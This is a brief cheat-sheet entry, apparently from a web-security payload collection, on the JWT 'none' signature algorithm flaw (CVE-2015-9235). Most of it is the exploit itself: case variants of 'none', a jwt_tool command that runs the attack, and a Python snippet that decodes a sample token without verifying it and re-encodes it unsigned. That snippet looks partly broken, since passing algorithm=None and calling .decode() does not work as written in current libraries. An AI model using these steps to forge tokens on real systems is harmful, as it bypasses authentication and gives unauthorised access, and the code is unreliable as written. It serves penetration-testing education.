JSON Web Token: JWT Signature - None Algorithm (CVE-2015-9235)
JWT supports a None algorithm for signature. This was probably introduced to debug applications. However, this can have a severe impact on the security of the application.
None algorithm variants:
noneNoneNONEnOnE
To exploit this vulnerability, you just need to decode the JWT and change the algorithm used for the signature. Then you can submit your new JWT. However, this won't work unless you remove the signature
Alternatively you can modify an existing JWT (be careful with the expiration time)
Using ticarpi/jwt_tool
python3 jwt_tool.py [JWT_HERE] -X aManually editing the JWT
import jwt jwtToken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJsb2dpbiI6InRlc3QiLCJpYXQiOiIxNTA3NzU1NTcwIn0.YWUyMGU4YTI2ZGEyZTQ1MzYzOWRkMjI5YzIyZmZhZWM0NmRlMWVhNTM3NTQwYWY2MGU5ZGMwNjBmMmU1ODQ3OQ' decodedToken = jwt.decode(jwtToken, verify=False) # decode the token before encoding with type 'None' noneEncoded = jwt.encode(decodedToken, key='', algorithm=None) print(noneEncoded.decode())
Comments
No comments yet.